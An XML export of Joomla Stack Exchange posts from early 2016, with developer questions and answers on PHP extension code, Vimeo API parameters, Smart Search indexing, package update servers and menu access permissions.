  <row Id="15072" PostTypeId="2" ParentId="15050" CreationDate="2016-01-25T09:43:54.743" Score="1" Body="&lt;p&gt;A 3rd party extension is causing this. The mailtohelper shouldn't be invoked directly. Just use the Joomla mail object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer = JFactory::getMailer();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Sending_email_from_extensions&quot; rel=&quot;nofollow&quot;&gt;Joomla Doc - Sending email from extensions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2016-01-25T09:43:54.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15073" PostTypeId="2" ParentId="15067" CreationDate="2016-01-25T12:18:40.730" Score="1" Body="&lt;p&gt;You may have some extensions that are not compatible with Joomla 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can still log in to the back-end, try disabling or removing these to see if it helps.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-01-25T12:18:40.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15074" PostTypeId="2" ParentId="15067" CreationDate="2016-01-25T12:22:51.310" Score="6" Body="&lt;p&gt;This error generally arises because of mismatch in columns present in Joomla3x and Joomla2.5 tables. To fix this, follow the following steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If you can access administrator section, then click on the Extension Manager &gt; Database tab &gt; Click &lt;strong&gt;Fix&lt;/strong&gt; button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If you cannot access the Database view in admin, then achieve the above step by entering in the URL: &#xA;&lt;code&gt;websiteurl/administrator/index.php?option=com_installer&amp;amp;task=database.fix&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--This will fix all the database warnings and errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this also doesn't work for you then try updating from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-01-25T12:22:51.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15075" PostTypeId="1" AcceptedAnswerId="17235" CreationDate="2016-01-25T14:34:48.660" Score="2" ViewCount="543" Body="&lt;p&gt;I am trying to embed vimeo video playlist script in module but I have problem with getting $token param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is file where I get the vimeo key, secret and token using official php library: &lt;a href=&quot;https://github.com/vimeo/vimeo.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/vimeo/vimeo.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;outside-web-root-settings.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/../../../..' ));&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;$mainframe =&amp;amp; JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;$user =&amp;amp; JFactory::getUser();&#xA;$session =&amp;amp; JFactory::getSession();&#xA;&#xA;jimport( 'joomla.application.module.helper' );&#xA;$module = JModuleHelper::getModule('mod_module');&#xA;$moduleParams = new JRegistry();&#xA;$moduleParams-&amp;gt;loadString($module-&amp;gt;params);&#xA;    $vkey = $moduleParams-&amp;gt;get('vimkey'); &#xA;    $vsecret = $moduleParams-&amp;gt;get('vimsecret'); &#xA;    $vtoken = $moduleParams-&amp;gt;get('vimtoken'); &#xA;&#xA;    $key = '$vkey'; &#xA;    $secret = '$vsecret';&#xA;    $token = '$vtoken';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script correctly get &lt;code&gt;$vkey&lt;/code&gt; and &lt;code&gt;$vsecret&lt;/code&gt; params but not the &lt;code&gt;$vtoken&lt;/code&gt;. I get this error on console:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You must provide a valid authenticated access token.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and I get this for the var_dump of the $vtoken&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(32) &quot;3wsrsdf234mytoken2342werwr&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I change param $token to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$token = '3wsrsdf234mytoken2342werwr';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then script work properly. How can I fix this issue?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;vimeo_data.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(&quot;../../outside-web-root-settings.php&quot;);&#xA;&#xA;if(!isset($_REQUEST['type']) || !isset($_REQUEST['page']) || !isset($_REQUEST['per_page']) || IsNullOrEmpty($key) || IsNullOrEmpty($secret) || IsNullOrEmpty($token)) exit(&quot;PHP Vimeo information missing!&quot;);&#xA;&#xA;function IsNullOrEmpty($v){&#xA;    return (!isset($v) || trim($v)==='');&#xA;}&#xA;&#xA;$type = $_REQUEST['type'];&#xA;$page = $_REQUEST['page'];&#xA;$per_page = $_REQUEST['per_page'];&#xA;$path = isset($_REQUEST['path']) &amp;amp;&amp;amp; !IsNullOrEmpty($_REQUEST['path']) ? $_REQUEST['path'] : null;&#xA;$user = isset($_REQUEST['user']) &amp;amp;&amp;amp; !IsNullOrEmpty($_REQUEST['user']) ? $_REQUEST['user'] : null;&#xA;$query = isset($_REQUEST['query']) &amp;amp;&amp;amp; !IsNullOrEmpty($_REQUEST['query']) ? $_REQUEST['query'] : null;&#xA;$sort = isset($_REQUEST['sort']) &amp;amp;&amp;amp; !IsNullOrEmpty($_REQUEST['sort']) ? $_REQUEST['sort'] : 'date';&#xA;&#xA;require(&quot;../autoload.php&quot;);&#xA;use Vimeo\Vimeo;&#xA;$vimeo = new Vimeo($key, $secret, $token);&#xA;&#xA;&#xA;&#xA;if($type == 'vimeo.channel'){&#xA;&#xA;    //Get a list of videos in a Channel - https://developer.vimeo.com/api/playground/channels/{channel_id}/videos&#xA;    $result = $vimeo-&amp;gt;request(&quot;/channels/$path/videos&quot;, array(&#xA;                                                    'page'=&amp;gt; $page,&#xA;                                                    'per_page' =&amp;gt; $per_page,&#xA;                                                    'fields' =&amp;gt; 'uri,name,description,duration,width,height,privacy,pictures.sizes',&#xA;                                                    'sort' =&amp;gt; $sort,&#xA;                                                    'direction' =&amp;gt; 'asc',                                   &#xA;                                                    'query' =&amp;gt; $query));&#xA;&#xA;}&#xA;&#xA;echo json_encode($result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3524" LastActivityDate="2016-07-21T12:14:34.937" Title="Getting parameter into external file" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15076" PostTypeId="1" CreationDate="2016-01-25T14:42:58.973" Score="1" ViewCount="144" Body="&lt;p&gt;I am looking for a good way to track links. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to add a small code after a link that I could give individually to people. So for example, www.website.com/how-to-swim/customer1 or some kind of link parameters. That way, I know which customers viewed the webpage and which ones did not. The feature of emailing me upon link visit would be very useful too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of Google Analytics UTM parameters, but as far as I can tell its goal is to track campaigns, not every customer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7680" LastActivityDate="2016-02-24T16:18:11.917" Title="Good Link Tracking Plugin?" Tags="|extensions|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15077" PostTypeId="1" CreationDate="2016-01-25T15:39:40.567" Score="4" ViewCount="107" Body="&lt;p&gt;I've read google all the very limited documention of SmartSearch/com_finder routines after starting with &lt;a href=&quot;https://joomla.stackexchange.com/questions/538/how-to-add-com-content-extra-fields-to-smart-search-index&quot;&gt;How to add com_content extra fields to Smart Search Index&lt;/a&gt;, and am no further along understanding how to extend the indexing to additional fields in Smart Search than when I started :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, I have &quot;Titles&quot;, that have &lt;em&gt;n&lt;/em&gt; children Programs, each of which have &lt;em&gt;n&lt;/em&gt; Chapters.  Each of these have content that I must index such that they point back to the parent Title that they are part of.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TitleA                   (tTitle,tBody,tSummary)&#xA;    - ProgramA1          (pTitle,pBody,pSummary)&#xA;        - ChapterA1a     (cTitle,cBody,cSummary)&#xA;        - ChapterA1b&#xA;    - ProgramA2&#xA;TitleB&#xA;    - ProgramB1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've cloned the examples that are included in J3, and have the top level &quot;Title&quot; indexing working just as it should be, however, even after reading what little there is about extending it, I can't figure out how to incorporate the lower level content.  The above mentioned question has an answer to fork/modify the standard routines, and another that talks about using &lt;code&gt;addinstruction()&lt;/code&gt;.  The OP comments that he/she wrote a plugin, but with no specifics and no followup on the question itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this question approaches &quot;doing the code&quot; for me, but I'm at a loss with the implied knowledge that seems to be required, and lack of reference material to understand how to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question itself:  At line 24 below, &lt;code&gt;FinderIndexerHelper::getContentExtras($item)&lt;/code&gt; is the apparent place to link the lower levels of content.  That routine (in the helper) simply says &quot;&lt;em&gt;Method to get extra data for a content before being indexed. This is how we add Comments, Tags, Labels, etc. that should be available to Finder.&lt;/em&gt;&quot;, then triggers another event &lt;code&gt;onPrepareFinderContent&lt;/code&gt;.  I can't find anywhere that this function or event is used, or any indication of where to use SQL to get/link the data I'm interested in.  &lt;strong&gt;Does anyone have any experience with this method/event that can give me a clear example of how to use them with the hierarchy of the given content?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01    class plgFinderAbc_Titles extends FinderIndexerAdapter&#xA;02    {&#xA;03        protected $context = 'ABC_TITLES';&#xA;04        protected $extension = 'com_abc';&#xA;05        protected $layout = 'myFinderLayout';&#xA;06        protected $type_title = 'ABC_FINDER_TPC_TITLES';&#xA;07        protected $table = '#__abc_titles';&#xA;08        public function __construct(&amp;amp;$subject, $config) {&#xA;09            parent::__construct($subject, $config);&#xA;10            $this-&amp;gt;loadLanguage();&#xA;11        }&#xA;12        public function index(FinderIndexerResult $item, $format = 'html') {&#xA;13            $db  = JFactory::getDbo();&#xA;14            $item-&amp;gt;body = FinderIndexerHelper::prepareContent($item-&amp;gt;getElement('tBody'));&#xA;15            $item-&amp;gt;summary = FinderIndexerHelper::prepareContent($item-&amp;gt;getElement('tSummary'));&#xA;16            $item-&amp;gt;addTaxonomy('Type', 'ABC_FINDER_TITLE');&#xA;17            $item-&amp;gt;url = 'index.php?option=com_abc&amp;amp;id=' . $item-&amp;gt;getElement('tid');&#xA;18            $item-&amp;gt;route = $item-&amp;gt;url;&#xA;19            $item-&amp;gt;state = $item-&amp;gt;getElement('pub');&#xA;20            $item-&amp;gt;access = 1;&#xA;21            $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'tMetadesc');&#xA;22&#xA;23            // Get content extras. ???????????????&#xA;24            FinderIndexerHelper::getContentExtras($item);&#xA;25            // Index the item.&#xA;26            $this-&amp;gt;indexer-&amp;gt;index($item);&#xA;27        }&#xA;28        protected function setup() {&#xA;29            return true;&#xA;30        }&#xA;31        protected function getListQuery($sql = null) {&#xA;32            $db = JFactory::getDbo();&#xA;33            $sql = $sql instanceof JDatabaseQuery ? $sql : $db-&amp;gt;getQuery(true);&#xA;34            $sql-&amp;gt;select('id as tid, title as title, shortdesc as tSummary, fulldesc as tBody, as tMetadesc');$sql-&amp;gt;from('#__tpc_titles AS a')-&amp;gt;where('state = 1');&#xA;35            return $sql;&#xA;36        }&#xA;37    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-01-27T01:31:04.657" Title="How to use getContentExtras() in SmartSearch indexing?" Tags="|development|plugin|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15078" PostTypeId="2" ParentId="15076" CreationDate="2016-01-25T15:50:15.767" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;I have this excelent component installed. This can monitor all pages visited from your user after login. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/content-statistics&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/content-statistics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;You can use Acy Mailyng component to send e-mails and track they access, if page was visited. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/acymailing-starter&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/acymailing-starter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-01-25T15:50:15.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15081" PostTypeId="1" CreationDate="2016-01-25T18:12:37.557" Score="1" ViewCount="295" Body="&lt;p&gt;There's a component called &lt;a href=&quot;http://extensions.joomla.org/extension/dx-fontawesome-button&quot; rel=&quot;nofollow&quot;&gt;dx FontAwesome button&lt;/a&gt; that is used for inserting Font Awesome elements into articles via the editors-ext button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the back-end it's working fine but not on the front-end. The button appears, but in the modal window it gives an error message: 404 Component not found.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;/administrator/components/com_dxfontawesome folder was created with all the necessary files&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;/component/com_dxfontawesome folder was created &lt;strong&gt;but it's empty&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;/plugins/editors-ext/dxfabutton folder contains &lt;em&gt;dxfabutton.php&lt;/em&gt; and &lt;em&gt;dxfabutton.xml&lt;/em&gt; files&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried the following but &lt;strong&gt;couldn't resolve&lt;/strong&gt; the issue.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Following to the core &lt;strong&gt;com_media&lt;/strong&gt; I put a new&#xA;&lt;em&gt;dxfontawesome.php&lt;/em&gt; file into /component/com_dxfontawesome folder and add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_COMPONENT_ADMINISTRATOR.'/dxfontawesome.php'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I got a new error message: 0 Invalid controller: name='',&#xA;format=''&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I modified the &lt;em&gt;dxfabutton.php&lt;/em&gt; at line #43:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;if( $app-&amp;gt;isAdmin() ) $link =&quot;&quot;;&#xA;else $link = &quot;administrator/&quot;;&#xA;$link .= 'index.php?option=com_dxfontawesome&amp;amp;amp;view=dxfontawesome&amp;amp;amp;layout=fa_selector&amp;amp;amp;tmpl=component&amp;amp;amp;editor='. $name;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After that it partially works but after clicking the font selector button the system asks to login into the back-end...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I log into the back-end and then go back to the front end, the font awesome selector works, but it is not a real solution for our users with publisher permission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any help&lt;/strong&gt; would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7563" LastEditorUserId="115" LastEditDate="2016-01-25T22:55:55.073" LastActivityDate="2016-01-26T11:07:43.650" Title="dx Fontawesome Editors-ext button doesn't work on front-end" Tags="|joomla-3.x|troubleshooting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15082" PostTypeId="1" AcceptedAnswerId="15084" CreationDate="2016-01-25T23:08:04.327" Score="0" ViewCount="284" Body="&lt;p&gt;When I install the component com_xyz, the extensions table is updated with client_id=1.  But when a package or library is getting installed this field is updated to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Because of this the update server is not able to find the updates for my package.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-01-26T05:03:00.330" Title="The client_id field in extensions table is not updated to 1" Tags="|joomla-3.x|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15083" PostTypeId="2" ParentId="15064" CreationDate="2016-01-26T01:13:45.933" Score="4" Body="&lt;p&gt;After 3 days of struggle, I am able to find a way for auto update the package.  Not sure whether this is the correct way.  But it works for my scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updateservers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume my component name is &lt;code&gt;com_mycomponent&lt;/code&gt; and I got the &lt;code&gt;mycompnent.xml&lt;/code&gt; (manifest) file.  In that file update the servers as below.  I put the below code after the &lt;code&gt;adminstration&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;  &amp;lt;server type=&quot;extension&quot; priority=&quot;2&quot; name=&quot;My Package Updates&quot;&amp;gt;http://example.com/update_package.xml&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes, I use the component's manifest file to update my package&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create the package&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- pck_mypackage&#xA;   -- com_mycomponent.zip&#xA;   -- lib_mylibrary.zip&#xA;   -- lib_myplugin.zip&#xA;-- script.php&#xA;-- pck_mypackage.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update_package.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;  &amp;lt;update&amp;gt;&#xA;    &amp;lt;name&amp;gt;My Package Update&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Some description&amp;lt;/description&amp;gt;&#xA;    &amp;lt;element&amp;gt;pkg_mypackage&amp;lt;/element&amp;gt;&#xA;    &amp;lt;client&amp;gt;0&amp;lt;/client&amp;gt;&#xA;    &amp;lt;type&amp;gt;package&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;infourl title=&quot;Some title&quot;&amp;gt;http://www.example.com/&amp;lt;/infourl&amp;gt;&#xA;    &amp;lt;downloads&amp;gt;&#xA;      &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;http://example.com/pkg_mypackage_101.zip&amp;lt;/downloadurl&amp;gt;&#xA;    &amp;lt;/downloads&amp;gt;&#xA;    &amp;lt;tags&amp;gt;&#xA;      &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;    &amp;lt;/tags&amp;gt;&#xA;    &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3&quot;/&amp;gt;&#xA;  &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats all.  The updater now looks for the update for the component and actually installs the package.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2016-01-26T19:42:11.857" LastActivityDate="2016-01-26T19:42:11.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15084" PostTypeId="2" ParentId="15082" CreationDate="2016-01-26T05:03:00.330" Score="2" Body="&lt;p&gt;According to joomla, Client ID is used by modules, templates and languages to specify which application (client) they should run in (e.g. administrator or site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;client_Id = 1 means admin access&#xA;client_Id = 0 means frontend access&lt;/p&gt;&#xA;" OwnerUserId="7638" LastActivityDate="2016-01-26T05:03:00.330" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15085" PostTypeId="2" ParentId="15075" CreationDate="2016-01-26T08:13:32.327" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/language.types.string.php#language.types.string.syntax.single&quot; rel=&quot;nofollow&quot;&gt;PHP docs&lt;/a&gt; says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: Unlike the double-quoted and heredoc syntaxes, variables and escape sequences for special characters will not be expanded when they occur in single quoted strings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$token = '$vtoken';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will result in string &lt;code&gt;$vtoken&lt;/code&gt;, not &lt;code&gt;3wsrsdf234mytoken2342werwr&lt;/code&gt;. Try to &lt;code&gt;echo $token;&lt;/code&gt; and see that it dosen't have value what you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove the unneccessary quotes or assign your variables directly from &lt;code&gt;$moduleParams&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$key    = $moduleParams-&amp;gt;get('vimkey'); &#xA;$secret = $moduleParams-&amp;gt;get('vimsecret'); &#xA;$token  = $moduleParams-&amp;gt;get('vimtoken'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-01-26T08:13:32.327" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15086" PostTypeId="2" ParentId="15081" CreationDate="2016-01-26T08:49:04.737" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;/component/com_dxfontawesome folder was created but it's empty&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Taking a look at the install archive of that component, that folder shouldn't be empty. Try to reinstall it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't help copy the files from the install archive from /packages/com_dxfontawesome.zip/site/ to /component/com_dxfontawesome/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wUw7C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wUw7C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2016-01-26T11:07:43.650" LastActivityDate="2016-01-26T11:07:43.650" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15088" PostTypeId="1" CreationDate="2016-01-26T12:49:22.083" Score="0" ViewCount="116" Body="&lt;p&gt;I have one menu that is associated to one group acess level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This menu is not appearing if i acess an user with a different level of acess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this menu is appearing with none user logged in. I want to know what can i do to this menu only appears if users of that group acess logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Sorry for bad english.&lt;/p&gt;&#xA;" OwnerUserId="7639" LastActivityDate="2024-03-16T19:00:50.110" Title="Menu permissions problem" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15089" PostTypeId="1" CreationDate="2016-01-26T20:53:44.787" Score="1" ViewCount="371" Body="&lt;p&gt;I'm trying to make the string &lt;code&gt;$url&lt;/code&gt; from &lt;code&gt;article.php&lt;/code&gt;, which contains the link to the full article in Joomla, available to make custom readmore links in my articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be exactly clear: I want to use the code &lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo $url; ?&amp;gt;&quot;&amp;gt;Readmore&amp;lt;/a&amp;gt;&lt;/code&gt; in my articles when I edit them in the &lt;code&gt;Joomla Backend / Content / Articles / Edit Article&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe somebody has an idea here. I already tried the DirectPHP Plugin but I didn't have any luck with it so far.&lt;/p&gt;&#xA;" OwnerUserId="7685" LastEditorUserId="3650" LastEditDate="2016-03-08T00:36:28.093" LastActivityDate="2016-06-24T10:40:15.200" Title="Making $url from article.php available in Joomla Articles for custom readmore links" Tags="|joomla-3.x|articles|category-blog|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15090" PostTypeId="2" ParentId="15077" CreationDate="2016-01-27T01:31:04.657" Score="2" Body="&lt;p&gt;The &lt;code&gt;onPrepareFinderContent&lt;/code&gt; method is mainly useful though if you're trying to manipulate other record types (i.e. from your plugin you want to add some extra data to com_content articles).  If you're just adding data to your own object type, add whatever data to the &lt;code&gt;$item&lt;/code&gt; object directly in your &lt;code&gt;index()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of your hierarchical data, I'd suggest studying the core Finder plugins for com_content and com_categories and using them to help sort through what you're trying to accomplish.  A hint if I remember things correctly, you'd want to use the addTaxonomy methods to help with this.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-01-27T01:31:04.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15091" PostTypeId="2" ParentId="15064" CreationDate="2016-01-27T01:36:54.737" Score="3" Body="&lt;p&gt;You can actually do this using the package extension only (and that'd probably be the best way to do so).  Long and short, you've basically got everything right, you should just transfer your &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; element from the component's manifest to the package's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of examples from my own extension:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/BabDev/Podcast-Manager/blob/f0a55e6cb14bc13ce8589706a3142890c9385418/pkg_podcastmanager.xml#L18-L20&quot; rel=&quot;nofollow&quot;&gt;https://github.com/BabDev/Podcast-Manager/blob/f0a55e6cb14bc13ce8589706a3142890c9385418/pkg_podcastmanager.xml#L18-L20&lt;/a&gt; - Highlighted lines are the &lt;code&gt;&amp;lt;updateservers&amp;gt;&lt;/code&gt; element&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.babdev.com/updates/podman.xml&quot; rel=&quot;nofollow&quot;&gt;https://www.babdev.com/updates/podman.xml&lt;/a&gt; - The full update XML file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-01-27T01:36:54.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15093" PostTypeId="2" ParentId="15089" CreationDate="2016-01-27T11:01:32.130" Score="2" Body="&lt;p&gt;By default, PHP code is stripped from article content when saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/directphp&quot; rel=&quot;nofollow&quot;&gt;DirectPHP&lt;/a&gt; and similar extensions enable you to include PHP code in your articles without the code being stripped by your editor when saving the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to enable the plugin in &lt;code&gt;Extensions -&amp;gt; Plugins&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If DirectPHP isn't working for you, I suggest trying an alternative such as &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Regular Labs Sourcerer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to enable the plugin in &lt;code&gt;Extensions -&amp;gt; Plugins&lt;/code&gt; after installation and then add your code to your article like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;  &amp;lt;?php&#xA;    echo $url;&#xA;  ?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-06-24T10:40:15.200" LastActivityDate="2016-06-24T10:40:15.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
